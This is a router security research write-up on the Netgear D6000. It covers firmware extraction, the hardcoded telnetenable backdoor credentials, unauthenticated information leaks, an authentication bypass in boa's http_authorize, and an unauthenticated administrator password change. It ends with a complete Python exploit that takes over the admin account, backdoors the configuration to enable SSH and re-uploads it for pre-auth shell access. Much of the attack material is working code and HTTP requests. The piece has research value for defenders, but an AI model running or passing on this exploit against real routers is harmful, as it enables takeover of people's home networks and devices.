Introduction

As explained in the previous article, the creation of PHP files through the exploitation of a SQL injection in minidlna has been dealt with, so I thought it might be interesting to look at the parsing of ASP files in the situation where they could be created by exploiting the same vulnerability but executed by another Web server (such as boa) depending on the router.

As an example, let’s take a look at the Netgear D6000 router (last firmware released: v1.0.0.80_1.0.1), which embeds the boa binary (/userfs/bin/boa) as a Web server. Let’s start with a little recon of our target.

Recon

Let’s see how, with a few lines of bash, we can recover the file system contained in the firmware.

alt-text

The command unsquashfs status exit is 2, but that’s for the following reason:

alt-text

Finally, we can explore the file system:

alt-text

Now that we can explore our target, we ideally need a shell to be able to drop our binaries (gdbserver, netcat) on it, and start debugging the Web server.

Getting debug on the target

To debug our target, there are four possible ways of doing it:

  • Activation of the Telnet (/usr/bin/utelnetd) or SSH (/userfs/bin/dropbear) services by modifying the router configuration.
  • Activation of the Telnet service via telnetenable (/userfs/bin/telnetenable).
  • Identification and connection to the UART serial port (J521).
  • Discover and exploit a trivial 0day.

Activation of the Telnet (/usr/bin/utelnetd) or SSH (/userfs/bin/dropbear) services by modifying the router configuration

After setting up the router (just define a new administration password via the web interface) let’s make a backup of the configuration (in a authenticated way via the Web interface) and let’s look at what the configuration file is made of.

alt-text

$ file NETGEAR_D6000.cfg
NETGEAR_D6000.cfg: ASCII text, with very long lines (53912), with no line terminators
$ head -c 50 NETGEAR_D6000.cfg
PFJPTUZJTEU+IDxXYW4+Cgk8Q29tbW9uIFRyYW5zTW9kZT0iQV

We see that the file is base64 encoded:

$ cat NETGEAR_D6000.cfg|base64 -d|head -c 50
<ROMFILE> <Wan>
    <Common TransMode="ATM" UniqueMac
$ cat NETGEAR_D6000.cfg|base64 -d>NETGEAR_D6000.cfg_decoded

And that information on how to access the Web interface (credentials) are also referenced:


...

<Account>
    <Entry0 username="admin" web_passwd="adminadmin"
console_passwd="adminadmin" display_mask="DF FF F7 BF DF DF FF FF FF"
old_passwd="adminadmin" changed="2" temp_passwd="adminadmin"
expire_time="5" firstuse="1" blank_password="0" />
    <Entry1 display_mask="DF FF F7 BF DF DF FF FF FF" />
    <Entry2 display_mask="DF FF F7 BF DF DF FF FF FF" />
</Account>

...

To enable SSH and Telnet services, simply replace the following lines in the decoded base64 version of the configuration:


...

<SSH>
    <Entry Enable="No" />
</SSH>

...

<Utelnetd>
    <Entry Active="No" />
</Utelnetd>

By the following ones:


...

<SSH>
    <Entry Enable="Yes" />
</SSH>

...

<Utelnetd>
    <Entry Active="Yes" />
</Utelnetd>

Then, all that’s left to do is re-encode the configuration and upload it via the Web interface.

$ cat NETGEAR_D6000.cfg_decoded_patched|base64 -w0>NETGEAR_D6000_patched.cfg

Once the configuration has been uploaded, we can connect ourselves to the services using the credentials we defined during setup.

In my case:

  • Username:
    • admin
  • Password:
    • adminadmin

Telnet

Command:

$ nc -vvv 192.168.1.1 23

alt-text

SSH

Command:

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa admin@192.168.1.1

alt-text

We now have a first way to debug our router, but, it requires knowing the credentials (username and password) used to connect to the web administration interface.

What can we do, when, we are on the same LAN network as the router, without knowing these credentials?

Activation of the Telnet service via telnetenable (/userfs/bin/telnetenable)

Several Netgear router models running factory firmware have a daemon that listens at the router’s local LAN IP address on the port 23. Our target seems to be listening on port 23, only, when we connect to it we don’t get any response.

alt-text

As explained in the OpenWrt documentation, the Netgear router CLI unlocking protocol establishes a TCP or UDP connection on port 23 to the router’s LAN IP address, send an encrypted probe packet, then close the connection. Moreover, you can find projects on GitHub that reimplement the protocol.

Public version on the Internet:

Which is a fork of:

Which is itself a fork of:

After re-implementing this protocol in Python3, the router does not seem to enable the Telnet service, which means that the magic packet does not seem to be accepted. Let’s find out why?

First, let’s locate the binary in question using find:

$ find ./ -iname "*telnet*"
./userfs/bin/telnetenable
./usr/bin/utelnetd

We can either reverse the binary /userfs/bin/telnetenable, or look at the binary source code present in the GPLs (D6000_v1.0.0.80_GPL/tclinux_phoenix_7.3.83.4/apps/public/telnetenable).

File: D6000_v1.0.0.80_GPL/tclinux_phoenix_7.3.83.4/apps/public/telnetenable/telnetenable.c


...

struct PAYLOAD
{
    char signature[0x10];
    char mac[0x10];
    char username[0x10];
    char password[0x10];
    char reserved[0x40];
};

...

int fill_payload(char *p)
{
    int secret_len;
    int encoded_len;
    MD5_CTX MD;
    BLOWFISH_CTX BF;
    struct PAYLOAD payload;
    char *username = "Gearguy";
    char *password = "Geardog";
    char mac[0x10], MD5_key[0x11];
    char secret_key[0x40];
    int i = 0;
    
    ...

}

...

Reading the above code explains why our magical packet implementation was not correct. We had defined sizes that did not correspond to the expected sizes within the PAYLOAD structure. In addition, instead of using the credentials (username / password) used by the Web administration interface, the username and password values are hardcoded (Gearguy / Geardog). The only unknown part is the MAC address, which can be retrieved by consulting our ARP table.

$ arp -a
? (192.168.1.1) at b0:7f:b9:fa:88:dc [ether] on en0

We can see that the program launched once the magic packet has been accepted is /bin/sh, so there is no authentication and we find ourselves in the presence of a backdoor on the LAN.


...

#define TELNET_CMD	"/usr/bin/utelnetd -d  -l /bin/sh"

...

int main(int argc, char * argv[])
{

    ...

    for (;;) {

        ...

        if (r == datasize && memcmp(rbuf, output_buf, r) == 0) {
            
            ...
            
            system(TELNET_CMD);
            exit(0);
        }
        
        close(conn_fd);
    }
    
    return 0;
}

Now all we have to do is put it all together and write a simple little exploit.

alt-text

To make a first conclusion, during the debugging process of our target, we already have identified a first exploit that allows us to get Remote Code Execution without authentication via the LAN and thus obtain debugging. But, let’s imagine for a second that we didn’t have it, and continue to identify ways of debugging our target.

Identification and connection to the UART serial port (J521)

After dismantling the router casing, a UART serial port (J521) can be identified on the PCB.

alt-text

After identifying the mapping using a multimeter, it is possible for us to get output logs via the TX port of the router (our RX). However, even though the continuity test shows that our TX port (RX port of the router) is present, it is impossible for me to interact with target in order to get an interactive shell. So let’s drop this technique for now and look into it later if necessary.

Discover and exploit a trivial 0day

I remind you of our objective, we want to audit the way ASP files are parsed by the Web server (boa), so, it’s a bit stupid to find a 0day on our target to audit it (the snake biting its own tail) but that’s what we’re going to do.

By browsing through my burp history and replaying some requests in my repeater, I realized that some routes leaking information could be queried without authentication, which can be useful for fingerprinting a target.

Leak target’s MAC address

Example 1

  • Method: GET
  • Path: /cgi-bin/log.asp

Request (HTTP):

GET /cgi-bin/log.asp HTTP/1.1
Host: 192.168.1.1
Connection: closed


Response (HTTP):

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8



<html><head><link rel="stylesheet" href="/style/form.css">

...

    var cf = document.forms[0];
    /*var fullmac = "b0:7f:b9:fa:88:dc";

...

Example 2

  • Method: GET
  • Path: /cgi-bin/autodetect_log.cgi

Request (HTTP):

GET /cgi-bin/autodetect_log.cgi HTTP/1.1
Host: 192.168.1.1
Connection: close


Response (HTTP):

HTTP/1.0 200 OK
Date: Sun, 01 Jan 2012 00:48:32 GMT
Server: Boa/0.94.13
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html


<html><head>

...

[B0:7F:B9:FA:88:DC][open][UTC:1970/01/01 00:00:04][PPP VPI=0 VCI=38 Encap=PPPoA VC-Mux] 
 
[B0:7F:B9:FA:88:DC][3VU3645204E7F][UTC:2012/01/01 00:41:57][PPP VPI= VCI= Encap=PPPoE LLC] 

...

Leak target’s firmware version

Example 1

  • Method: GET
  • Path: /syslog.xlog

Request (HTTP):

GET /syslog.xlog HTTP/1.1
Host: 192.168.1.1


Response (HTTP):

HTTP/1.0 200 OK
Date: Sun, 01 Jan 2012 00:00:43 GMT
Server: Boa/0.94.13
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Length: 311
Last-Modified: Sun, 01 Jan 2012 00:00:15 GMT
Content-Type: config/conf

1970-01-01 00:01:03 [Emergency] syslog: [Netgear]&[Initialized, Firmware Version: V1.0.0.80_1.0.1]

...

Example 2

  • Method: GET
  • Path: /cgi-bin/status_log2.cgi

Request (HTTP):

GET /cgi-bin/status_log2.cgi HTTP/1.1
Host: 192.168.1.1


Response (HTTP):

HTTP/1.0 200 OK
Date: Sun, 01 Jan 2012 00:20:50 GMT
Server: Boa/0.94.13
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html


<html><head>

...

[Initialized, Firmware Version: V1.0.0.80_1.0.1] Thursday, January 01, 1970 00:01:04

Example 3

  • Method: GET
  • Path: /cgi-bin/FW_log.asp

Request (HTTP):

GET /cgi-bin/FW_log.asp HTTP/1.1
Host: 192.168.1.1
Connection: close


Leak target’s model

Example 1

  • Method: GET
  • Path: /cgi-bin/BRS_top.asp

Request (HTTP):

GET /cgi-bin/BRS_top.asp HTTP/1.1
Host: 192.168.1.1
Connection: close


Response (HTTP):

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...

        <div class="top_name">
            <div class="title_div"><img src="/image/top/logo.gif" /></div>
            <div class="router_name_div">D6000</div>
            <div class="title_img_div"><img src="/image/top/top_logo_img.gif" /></div>
        </div>
        
        <div id="firmware_version" class="firmware_version_div" style="display:none">
            <div align="right">Router Firmware Version</div>
            <div align="right">V1.0.0.80_1.0.1</div>
        </div>

...

Example 2

  • Method: GET
  • Path: /cgi-bin/engdebug.asp

Request (HTTP):

GET /cgi-bin/engdebug.asp HTTP/1.1
Host: 192.168.1.1
Connection: close


Response (HTTP):

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8


<html><head>

...

<TR>
    <TD nowrap><B>Product Name : </B></TD>
    <TD nowrap>&nbsp;D6000&nbsp;</TD>
</TR>
<TR>
    <TD nowrap><B>FW Version : </B></TD>
    <TD nowrap>&nbsp;V1.0.0.80_1.0.1&nbsp;</TD>
</TR>

...

Example 3

  • Method: GET
  • Path: /cgi-bin/debuginfo.asp

Request (HTTP):

GET /cgi-bin/debuginfo.asp HTTP/1.1
Host: 192.168.1.1
Connection: closed


Response (HTTP):

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8


<html>

...

<BODY>
<BR>WAN connection type: PPPoA 
<BR>Product model name: D6000
</BODY>

To summarize, the following routes leak information and are accessible without authentication:

  • /cgi-bin/BRS_top.asp
  • /cgi-bin/FW_log.asp
  • /cgi-bin/autodetect_log.cgi
  • /cgi-bin/debuginfo.asp
  • /cgi-bin/engdebug.asp
  • /cgi-bin/log.asp
  • /cgi-bin/status_log2.cgi
  • /syslog.xlog

So, I tried to figure out why these routes are accessible without authentication and why the header Connection: closed must be set for authentication bypass to occur. Binary boa source code is located in folder D6000_v1.0.0.80_GPL/tclinux_phoenix_7.3.83.4/apps/public/boa-asp/. I found the answer by reading the code of function http_authorize().

File: D6000_v1.0.0.80_GPL/tclinux_phoenix_7.3.83.4/apps/public/boa-asp/src/request.c


...

int http_authorize(request *req)
{

...

#ifdef AYECOM_FIRSR_USE_SUPPORT

    ...

    if(strstr(req->pathname,"BRS_") != NULL || strstr(req->pathname,"debug") != NULL || strstr(req->pathname,"log.") !=NULL)
        return 0;
#endif /*AYECOM_FIRSR_USE_SUPPORT*/

...

}

...

Call stack to reach the vulnerability:

  • main() in boa-asp/src/boa.c
    • select_loop() in boa-asp/src/select.c
      • process_requests() in boa-asp/src/request.c
        • read_header() in boa-asp/src/read.c
          • process_header_end() in boa-asp/src/request.c
            • http_authorize() from boa-asp/src/request.c

By listing the ASP files (embedded in the firmware) in the folder D6000_v1.0.0.80_GPL/tclinux_phoenix_7.3.83.4/apps/private/webPage/Router/ng/boaroot/cgi-bin/ (within the GPLs), we obtain the list of files that can be requested without authentication:

  • BRS_01_checkNet_ping.asp
  • BRS_02_genieHelp.asp
  • BRS_03A_A_noWan.asp
  • BRS_03A_A_noWan_check_net.asp
  • BRS_03A_B_pppoe.asp
  • BRS_03A_B_pppoe_reenter.asp
  • BRS_03A_C_pptp.asp
  • BRS_03A_C_pptp_reenter.asp
  • BRS_03A_D_bigpond.asp
  • BRS_03A_E_IP_problem.asp
  • BRS_03A_E_IP_problem_IPoA_A_inputIP.asp
  • BRS_03A_E_IP_problem_staticIP.asp
  • BRS_03A_E_IP_problem_staticIP_A_inputIP.asp
  • BRS_03A_E_IP_problem_staticIP_B_macClone.asp
  • BRS_03A_E_IP_problem_staticIP_B_macClone_plzWait.asp
  • BRS_03A_F_l2tp.asp
  • BRS_03A_F_l2tp_reenter.asp
  • BRS_03A_G_fullscan.asp
  • BRS_03A_H_macClone.asp
  • BRS_03A_detcEtherInetType.asp
  • BRS_03A_detcInetType.asp
  • BRS_03B_haveBackupFile.asp
  • BRS_03B_haveBackupFile_fileRestore.asp
  • BRS_03B_haveBackupFile_ping.asp
  • BRS_03B_haveBackupFile_pingResult.asp
  • BRS_03B_haveBackupFile_waitReboot.asp
  • BRS_04_B_checkNet.asp
  • BRS_04_B_checkNet_ping.asp
  • BRS_04_applySettings.asp
  • BRS_04_applySettings_ping.asp
  • BRS_05_networkIssue.asp
  • BRS_AUTO_download_failure.asp
  • BRS_AUTO_search.asp
  • BRS_AUTO_search_fw.asp
  • BRS_AUTO_upgrade_language.asp
  • BRS_AUTO_upgrade_noversion.asp
  • BRS_AUTO_upgrade_process.asp
  • BRS_AUTO_upgrade_start_updating.asp
  • BRS_UPG_check_version_hidden.asp
  • BRS_changePassword.asp
  • BRS_check_manulConfig.asp
  • BRS_check_new_fw_language_pre.asp
  • BRS_download_genie.asp
  • BRS_download_vault.asp
  • BRS_index.asp
  • BRS_more_1.asp
  • BRS_multilogin.asp
  • BRS_plzWait.asp
  • BRS_top.asp
  • BRS_wanlan_conflict.asp
  • FW_log.asp
  • autodetect_log.cgi
  • debuginfo.asp
  • engdebug.asp
  • log.asp
  • securityquestions.asp
  • status_log2.cgi
  • unauth.asp

So we have a way to fingerprint our target and a way to bypass authentication, it looks like we’re on a good way to get a pre-auth exploit. Let’s take a look at the different ASP files that we can interact with without authentication.

Administration account takeover

Let’s try interaction with the path /cgi-bin/BRS_changePassword.asp.

Without header Connection: closed

  • Method: GET
  • Path: /cgi-bin/BRS_changePassword.asp

Request failed (HTTP):

GET /cgi-bin/BRS_changePassword.asp HTTP/1.1
Host: 192.168.1.1


Response (HTTP):

HTTP/1.0 400 Bad Request
Date: Sun, 01 Jan 2012 00:18:27 GMT
Server: Boa/0.94.13
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY><H1>400 Bad Request</H1>
Your client has issued a malformed or illegal request.
</BODY></HTML>

With header Connection: closed

Request succeed (HTTP):

GET /cgi-bin/BRS_changePassword.asp HTTP/1.1
Host: 192.168.1.1
Connection: close


Response (HTTP):

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8

<html>

...

<form method="POST"  action="/cgi-bin/BRS_changePassword.asp?id=37823427">

...

It is clear that the header Connection: closed seems important.

And we get a token (id=37823427) which will allow us to update the password.

  • Method: POST
  • Path: /cgi-bin/BRS_changePassword.asp

Request to change the password to `ivoire`:

POST /cgi-bin/BRS_changePassword.asp?id=37823427 HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Connection: close

submit_flag=hijack_success&default_flag=0&Passwd_changed=1&adminFlag=1&blank_password=0&default_flag=0&temp_pwd_old=_NULL_&temp_pwd_new=ivoire&sysNewPasswd=ivoire&sysConfirmPasswd=ivoire

Response:

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=utf-8

<html>

...

We can now log in as admin, dump the configuration, add a backdoor (Telnet, SSH), and re-upload it to get our shell (as seen earlier).

We could also have uploaded a configuration without authentication, via a POST request to the route /cgi-bin/BRS_03B_haveBackupFile.asp but this is destructive because it can destroy the network mapping that the administrator had done. That’s why we’re going to download the configuration first before backdooring it and reuploading it.

In our case, only the administrator’s password is changed (in worst case scenario) temporarily, as I have found a way to retrieve the administrator’s password in case he has already made a backup of the configuration (which is more stealthy).

alt-text

The exploit can be found here:

File: exploit.py

import argparse
import base64
import random
import requests
import time
import urllib.parse


# List of targets identified as vulnerable. For the moment there is only one
# target for the POC. Other targets may be added if blog readers identify new
# targets.
TARGETS = {"D6000": ["1.0.0.80_1.0.1"]}

# This header seems to be necessary for authentication bypass (it should be
# investigated).
HEADERS = {"Connection": "closed"}

# Bash command to be used to access the shell on the target.
COMMAND = "ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa admin@<IP>"


# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
    # The first delimiter is searched for.
    start = raw.find(start_delimiter)
    if start == -1:
        print("[x] Error: function extract() failed (can't find starting delimiter).")
        return None
    start = start + len(start_delimiter)
    # The second delimiter is searched for.
    end = raw[start::].find(end_delimiter)
    if end == -1:
        print("[x] Error: function extract() failed (can't find end delimiter).")
        return None
    end += start
    return raw[start:end]


class Recon:
    def __init__(self, url):
        self.url = url

    # This function is used to check that our target can be exploited.
    def run(self):
        print(f"[*] Checking model and version ...")

        new_url = f"{self.url}/cgi-bin/BRS_top.asp"
        r = requests.get(
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )

        # Here we are trying to extract the following information:
        # - Model
        # - Version
        index = [r.text.find("router_name_div"), r.text.find("firmware_version_div")]
        if r.status_code != 200 or not(index != [-1, -1]):
            return 0
        self.model = extract(r.text, 'router_name_div">', '</div>')
        self.version = extract(
            extract(
                r.text,
                'Router Firmware Version</div>',
                '/div>'
            ),
            'right">V',
            '<'
        )

        # Once the information has been extracted, we check that our target is
        # referenced as being vulnerable.
        try:
            if TARGETS[self.model] and self.version in TARGETS[self.model]:
                print(f"\t- Model: {self.model}")
                print(f"\t- Version: {self.version}")
                return 1
        except:
            return 0


class Attack:
    username = "admin"
    password = f"ivoire{random.randint(1000, 9999)}"
    basic = requests.auth.HTTPBasicAuth(username, password)
    cookies = None
    is_already_bakcup = 0
    configuration = None
    old_password = None

    def __init__(self, url, model):
        self.url = url
        self.model = model

    def run(self):
        print(f"[*] Attacking the target ...")

        if not self.change_password():
            print("\t[x] Failed to change the password.")
            return 0
        print(f"\t[+] Password changed to: {self.password}")

        if not self.authenticate():
            print("\t[x] Failed to authenticate.")
            return 0
        print(f"\t[+] Cookie retrieved: {self.cookies}")

        if not self.get_configuration():
            print("\t[x] Failed to get the configuration.")
            return 0
        print(f"\t[+] Configuration downloaded.")

        if not self.backdoor_configuration():
            print("\t[x] Failed to backdoor the configuration.")
            return 0
        print(f"\t[+] Configuration backdoored.")

        if not self.set_configuration():
            print("\t[x] Failed to set the configuration.")
            return 0
        print(f"\t[+] Configuration uploaded.")

        return 1

    # This function can be used to change the admin's password.
    def change_password(self):
        new_url = f"{self.url}/cgi-bin/BRS_changePassword.asp"
        r = requests.get(
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )

        # We first retrieve a sort of CSRF token, which need to be present in the
        # URL when the password change request is made.
        index = r.text.find("/cgi-bin/BRS_changePassword.asp?id=")
        if r.status_code != 200 or index == -1:
            return 0
        new_path = extract(
            r.text,
            '<form method="POST"  action="',
            '">'
        )
        new_url = f"{self.url}{new_path}"

        # Then we send the request to change the administrator's password.
        datas = {
            "submit_flag": "hijack_success",
            "default_flag": 0,
            "Passwd_changed": 1,
            "adminFlag": 1,
            "blank_password": 0,
            "temp_pwd_old": "_NULL_",
            "temp_pwd_new": self.password,
            "sysNewPasswd": self.password,
            "sysConfirmPasswd": self.password
        }
        r = requests.post(
            url=new_url,
            headers=HEADERS,
            data=datas,
            allow_redirects=False,
            verify=False
        )
        if r.status_code != 200:
            return 0
        return 1

    # This feature allows us to authenticate ourselves in order to obtain a
    # session cookie.
    def authenticate(self):
        new_url = self.url
        r = requests.get(
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )
        try:
            self.cookies = {"SESSIONID": r.cookies["SESSIONID"]}
        except:
            return 0
        if self.cookies:
            return 1
        return 0

    # This function downloads the router configuration. We request the configuration
    # file directly, because if one already exists, it may allow us to recover
    # the administrator's current password (before the exploit). If the file does
    # not exist, then we generate it which will apply the password that we have
    # defined definitively and we will no longer be able to find the password
    # defined by the real admin.
    def get_configuration(self):
        # We download the configuration file directly.
        new_url = f"{self.url}/NETGEAR_D6000.cfg"
        r = requests.get(
            auth=self.basic,
            cookies=self.cookies,
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )
        if r.status_code == 200:
            self.is_already_bakcup = 1
            try:
                self.configuration = r.text
                if self.configuration:
                    print(f"\t[*] Configuration can be accessed directly.")
                    return 1
            except:
                return 0

        # A CSRF token equivalent is generated.
        new_url = f"{self.url}/cgi-bin/BAK_backup.asp"
        r = requests.get(
            auth=self.basic,
            cookies=self.cookies,
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )
        if r.status_code != 200:
            return 0
        ts = extract(
            r.text,
            'var ts = "',
            '";'
        )

        # The Web server is asked to generate a configuration backup.
        new_url = f"{self.url}/cgi-bin/BAK_backup.asp?id={ts}"
        datas = {
            "postflag": "",
            "backup_flag": 1,
        }
        r = requests.post(
            auth=self.basic,
            cookies=self.cookies,
            url=new_url,
            headers=HEADERS,
            data=datas,
            allow_redirects=False,
            verify=False
        )
        if r.status_code != 200:
            return 0
        print(f"\t[*] Configuration generated.")

        # Then we download the configuration file directly.
        new_url = f"{self.url}/NETGEAR_D6000.cfg"
        r = requests.get(
            auth=self.basic,
            cookies=self.cookies,
            url=new_url,
            headers=HEADERS,
            allow_redirects=False,
            verify=False
        )
        if r.status_code != 200:
            return 0
        try:
            self.configuration = r.text
            if self.configuration:
                return 1
        except:
            return 0
        return 0

    # This feature enables the SSH service (dropbear) on the router by
    # backdooring its configuration. 
    def backdoor_configuration(self):
        decoded_conf = base64.b64decode(self.configuration)

        if self.is_already_bakcup:
            self.old_password = extract(decoded_conf, b'web_passwd="', b'"').decode()
            print(f"\t[*] Password before exploit: {self.old_password}")

        decoded_conf = decoded_conf.replace(
            b'<SSH>\n\t<Entry Enable="No" />',
            b'<SSH>\n\t<Entry Enable="Yes" />'
        )

        self.configuration = base64.b64encode(decoded_conf)
        return 1

    # This function allows us to re-upload the backdoored configuration to the
    # router.
    def set_configuration(self):
        new_url = f"{self.url}/cgi-bin/BRS_03B_haveBackupFile.asp"

        datas = {
            "postflag": 1,
            "HTML_HEADER_TYPE": 2,
            "progress": ""
        }
        fd = open("NETGEAR_D6000.cfg", "wb")
        fd.write(self.configuration)
        fd = open("NETGEAR_D6000.cfg", "rb")
        files = {'file_upgrade': fd}

        r = requests.post(
            url=new_url,
            headers=HEADERS,
            files=files,
            data=datas,
            allow_redirects=False,
            verify=False
        )
        if r.status_code != 200:
            return 0

        return 1


def main(options):
    recon = Recon(options["url"])
    if not recon.run():
        print("[x] Recon failed.")
        exit(-1)

    attack = Attack(recon.url, recon.model)
    if not attack.run():
        print("[x] Attack failed.")
        exit(-1)

    print("[+] Exploit succeed.")

    if attack.is_already_bakcup:
        password = attack.old_password
    else:
        password = attack.password
    command = COMMAND.replace("<IP>", urllib.parse.urlparse(options["url"]).netloc)

    print(f"\n\n[i] To access the shell, run the command:\n{command}")
    print(f"\n[i] Use the following password: {password}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Netgear D6000 RCE (pre-auth)")
    parser.add_argument("url", help="Target's URL.")
    args = parser.parse_args()

    options = {}
    options["url"] = args.url
    main(options)

Now that we have one way to get RCE with authentication and two ways to get RCE without authentication, we can debug the router and look at how the parsing of ASP files works.